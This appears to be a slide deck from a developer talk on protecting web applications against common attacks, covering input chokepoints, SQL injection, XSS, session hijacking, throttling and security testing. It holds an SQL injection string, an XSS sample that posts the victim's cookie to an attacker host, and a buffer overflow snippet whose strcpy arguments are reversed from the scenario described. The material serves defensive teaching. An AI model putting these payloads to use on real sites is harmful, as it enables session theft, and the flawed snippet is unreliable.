Preventing Web Application Hacking

Eamon O'Tuathail
CLIPCODE Ltd
eot@clipcode.com

Agenda

- This talk examines the countermeasures software developers should take to protect the web applications they write
- Includes discussion of:
  - Input chokepoint
  - Least privilege
  - Role-based authorisation
  - Throttling
  - Monitoring and
  - Security Testing

Web Application Hacking

- The two major network services are email and web
  - Most issues with email can be dealt with at network perimeter (spam, virus, privacy); limited number of developers directly involved; well-understood message content – text + permitted attachments (e.g. PDF); User agents can prevent execution of message
    - BTW: if you have problems with SPAM – check out: http://spambayes.sourceforge.net/
  - Web is of more concern to regular developers – more difficult for common approach for all web apps; valid web messages can be dangerous; many more developers are involved directly (every web app); gets through outer firewall and some parts further through in an executable mode (e.g. as part of SQL statement)

A Partnership

- Web applications run on web server software which runs on an OS on a host computer which is attached to the network
  - Bring down any one of those will bring down the web site
  - The HTTP pipe is the most significant, but not the only way
  - e.g. The web pages are (usually) files on disk – can these files be accessed from the LAN
- Web application developers have an important role to play in defending their clients' web sites
  - Others – namely system administrators, web app users and general operations staff – also have significant responsibility

Web Server Software

- In this talk we focus on web application security
  - The underlying web server software (IIS6, Apache, etc.) must be well-managed (patching, lockdown, privileges, config)
- Developers should be competent admins of the tools they use (web server, database, enterprise apps)
  - Have better understanding of their capabilities and behaviour
  - Tendency of under-use of functionality within these products
    - Your customers has already paid for it
    - Tested by many users
    - Your developer time is valuable – spend wisely (you have better things to do with your time)

Input Chokepoint

- Input is the source of most attacks
- Define input chokepoints - points where all input must pass – so it can be monitored & checked
  - A perimeter defence surrounding your application
- All developers need a clear understanding of data that is outside the perimeter being dangerous and data that has successfully passed through being in some way verified
- Should your web controls be hooked up directly to database fields?
  - Pros and cons

Checking Input

- Check for good input and discard rest
  - Not the reverse – why?
- Regular expressions are your friend
  - Need to be used more often
  - In .NET, regular expressions are compiled, so very fast
- Be watchful of alternative “unofficial” ways of bringing in data (e.g. File uploads, web services) that bypass checks
  - Idea – Create a buffer class to manage input and as a data member use a boolean (verified) that starts as false and during verification gets set to true
  - Other code knows if verification has occurred

SQL Injection

- Imagine a web site with this dynamic SQL

```
SqlStr= "SELECT Num From CreditCards WHERE User =" + name;
// display results in web page
```

  - And name is populate from a text box on a web page
  - If name = "Eamon", OK -as expected
  - If name = "Eamon Or 1=1 --", is this OK?
- Need to check all input, use parameters (type-safe), use safe stored procedures (e.g. For SQL Svr, `Quotename` and `sp_executesql`), eliminate comments, and ...
- Silent errors
- On error, release resources (prevent DoS)

Securing the Database

- Database connection string – consider DPAPI
- Database user/admin Ids
- Restrict what is in the web app (db structure) in case it is compromised
- Typically web server is in DMZ with firewalls either side and database is inside
  - Consider different makes of firewalls for either side of DMZ
  - Consider using IPSec between your web server and your database server
- See “Writing Secure Coding”, p397-411, Howard & LeBlanc, ISBN: 0-7356-1722-8, Microsoft Press

Database Schema

- SQL has a rich DDL (Data Definition Language) – use it
- The correct structure of your data is critical
  - Saves untold amounts of pain later
  - Does not make sense to write application code when the database engine already provides this functionality
- Check, unique, foreign key, primary key, triggers, cascading updates/deletes, views
- W3C XML Schema (XSD) also has rich constructs for defining structure (uniqueness, key, key references)
- From security perspective, ensures structure of data is always correct, regardless of errors in application code

Cross Site Scripting (XSS)

- Attacker gets a legitimate site to display bogus HTML to end-user
  - Many sites allows users to enter HTML snippets (e.g. blogs, newsgroups, surveys) – building “community” – very important!
- End user, trusting the HTML, clicks on a hyperlink
  - Script is embedded in HTML and runs in user's browser
  - Hyperlink goes to a site controlled by attacker and as parameters contains results of script execution
  - Attacker gains access to user's local cookies
  - Consider HtmlEncoding everything and then selectively covert back a limited number of permitted strings (“<B>”)

XSS Sample

```
To continue, click <a
  href=http://www.goodsite.com/hello.aspx?name=
   <FORM action=http://www.badsite.com/yippy.aspx
     method=post id="demo">
   <INPUT name="cookie" type="hidden">
   </FORM>
   <SCRIPT>
   demo.cookie.value=document.cookie;
   demo.submit();
   </SCRIPT> >
   here
   </a>
```

- XSS can be very dangerous

SPAM & Opt-out

- Spam is often emailed in HTML
- Spam often has an “opt-out” button
- Considering the ethics of what spammers are doing, should your users trust this?
- Script behind that button runs locally

User Roles & Impersonation

- How is user id managed across multiple tiers?
- Not all users are the same
  - Need to group according to roles (home customer, enterprise customer, call centre agent, shop manager, admin)
- Two main options
  - Common roles – user logs onto first server, and it uses a much smaller number of roles to log onto other backend servers
  - Delegation – client user id is used via delegation to log onto servers along message path
  - If using roles, need to consider auditing issues
  - Need to bring privilege design from threat model/security model into code

Least Privilege

- Too many administrators
  - Secure production systems severely limit admin rights
  - Partitioning of privileges – what happens if an admin is corrupt?
  - Audit trails are important
  - Requiring two corrupt admins makes it much more difficult
- Tendency to over-allocate privileges
  - Be frugal, if user cannot perform some action that is appropriate for them, add more
    - Consider temporary allocation
  - All privileges should be denied unless specifically granted (not the reverse - why?)

Cannonicalisation Errors

- There may be many names for a particular resource
  - Eot, eamon, eamon o'tuathail
- Security rules should apply to a resource, not one of its possibly multiple names
  - Security guard is told not to let eot into the building
  - EOT arrives and shows his “Eamon” user id
  - Allowed in
- Variation – directory paths (should be blocked)
- Tip – Consider having multiple partitions on your hard disk, and placing web content in one, and executable logic on another

Throttling

- There are limits to your web server's resources
  - Network bandwidth, memory, harddisk, cpu
  - Attacker often wishes to over load it
  - Denial of service attack
  - Often comes down to whether your pipe to the internet is bigger than the attacker's
  - Consider throttling resources for un-authenticated sessions
    - Encourage valuable customers to log-in for full services (and full speed)
    - Also consider limiting MaxAllowedContentLength, MaxUrl and MaxQueryString (for IIS, see URLScan tool)
    - Consider aggressive timeouts for idle anonymous connections

Secure Defaults

- The vast majority of people use software with default settings
  - If they do change settings, they to be small number
- People don't read the manual or release notes
- As a developer, the default installation you provide will be used by 90% of your userbase
  - Ensure it is very secure (lockdown)
  - New customers are trusting you by placing your software on their devices
  - Customers who do a lot of configuration tend to be the more technically capable, and can look after themselves to a greater degree

Session Hijacking

- The HTTP protocol has no concept of “session”
  - It thinks each message request-response exchange between user agent and server is distinct
- Web platforms layer sessions above HTTP by passing some kind of session ID in each message exchange
  - In cookies or in URL
- An attacker who can guess/discover the session ID of a legitimate user is effectively that user in the eyes of the server
  - Known as session hijacking

Session Hijack Defence

- Should use TLS (SSL) for all secure traffic
- Expose logout functionality and educate users about its importance
- Consider shortening logout after idle period
- When not using TLS, consider re-authenticating just before carrying out important task (ordering goods and services)
- Other
  - See article in MSDN Magazine - “Foiling Session Hijacking Attempts”, Jeff Prosise, August 2004

HTTP Response Splitting

- Embedding input from user in response header
  - e.g. Redirection
  - Response header contains additional CR / LF, thus making two responses
  - Developers should remove CR/LF from user inputs
  - Some proxy servers use the same TCP connection for multiple users – can also be affected by this
  - Interesting paper on www.sanctuminc.com

Get rid of software

- A significant amount of software could be removed from a PC and end users would never notice
- Too many features in applications
- Need more focused approach to their specs
- Turn services off
- Remove applications
- Remove optional components (DLLs)
- Remove SDKs, samples etc. from production servers
- An additional problem of feature creep
- The more executing software is on a device, the easier it is to attack

Buffer Overflows

- Big problem for C/C++ environments
  - Eternal vigilance needed
  - One of the reasons (from a security perspective) developers are moving away from C/C++
- “Virtual machines” can automatically protect against it
  - C# managed code (should not?) does not suffer from buffer overflows (C# interacting with unmanaged code can)

Sample Buffer Overflow

- Strcpy just copies data until null detected
  - If longer than destination buffer, just continues
  - Easy to overwrite what is in following buffer

```
char unimportantData[10];
char importantData[10];
...
// assume a web application has a web page with a text
   box that takes in a string (conveniently named
   dataFromAttacker)
// Assume attacker enters this string 0123456789HACKED
strcpy(dataFromAttacker, unimportantData);
// what value is now in importantData?
```

Partially Trusted

- Code identity security vs. user identity security
- Full trusted vs. partial trusted code
- Put high-privilege code in one executable unit with very limited ways in which it can be called
- Put low-privilege code in less trusted executable units
- In .NET, put your high privilege code in a assembly with the AllowPartiallyTrustedCallersAttribute in the Global Assembly Cache
  - Let you partially trusted web apps call it
  - Even if web app hacked, it can still only execute limited amount of functionality

Secrets

- As must as possible, do not store secrets on a computer
- Alternatives include
  - Having user provide them as needed
  - Accessing from net
- If you must, need to encrypt them – but for that need a key – where does that come from?
  - You have just swapped a big secret for a small secret
  - do not want user to have additional symmetric key (will inevitably become a problem)
- Is there anything we can use
- Are there any secrets available to us?

Data Protection API

In Memory

```
byte[] dataBlock = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5, 6 };
Console.WriteLine("Original dataBlock = "
                                + BitConverter.ToString(dataBlock));
ProtectedMemory.Protect(dataBlock,
    MemoryProtectionScope.CrossProcess);
Console.WriteLine("Encrypted dataBlock = "
                                + BitConverter.ToString(dataBlock));
ProtectedMemory.Unprotect(dataBlock,
    MemoryProtectionScope.CrossProcess);
Console.WriteLine("Decrypted dataBlock = "
                                + BitConverter.ToString(dataBlock));
```

Across OS Invocations

```
byte[] userData = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 0 };
byte[] safeData = ProtectedData.Protect(userData, null,
                                        DataProtectionScope.LocalMachine);
byte[] userDataAgain = ProtectedData.Unprotect(safeData, null,
                                        DataProtectionScope.LocalMachine);
```

Security Testing

- Attack and defence are always interlinked
  - To truly defend yourself, you need to know how you can be attacked (think like the attacker)
  - In soccer, the best penalty-taker is often the goalkeeper, because he knows the best way through the net
- Need security test plans
  - Outgrowth of your threat models
  - How to conduct security testing
  - Security Checklists
    - Page 687+ of ISBN:0-7356-1842-9
- Tools
  - HttpUnit - http://httpunit.sourceforge.net/
  - Platform-specific (NUNITASP - http://nunitasp.sourceforge.net/)
  - Custom

Monitoring

- You application should be gathering lots of information about security attacks as they occur
- Tell the attacker nothing
- Tell the administrator as much as possible
- Statistics, attack approaches, message formats etc.
  - Think about how you will present such information to admin
- Attackers are persistent – will try many variations on an attack
- If administrator can see what is happens, might be able to take steps
- Need documented plan describing how to response to attacks as they occur

Notes

- Security can be achieved through a combination of factors
- Defence in depth
- Many people need to work together to enforce security
- At each point, make it as hard as possible for attackers
- Slow down attacks
- Complicate the attacker's life
- Change defensive measures, so that previously ill-gotten info is not accumulated
- Keep patching levels up to date

Further Help

- Sites
  - Open Web Application Security Project (http://www.owasp.org)
  - Web App Security Consortium (http://www.webappsec.org)
- Mailing list
  - http://seclists.org/lists/webappsec/2004
- Good books:
  - “Improving Web Application Security – Threats and Countermeasures”, Microsoft, ISBN:0-7356-1842-9, Microsoft Press, 2004
  - “Building Secure Microsoft ASP.NET Applications”, Microsoft, ISBN: 0-7356-1890-9, Microsoft Press, 2003
  - “Exploiting Software – how to break code”, Hoglund & McGraw, ISBN: 0-201-78695-8, Addison-Wesley, 2004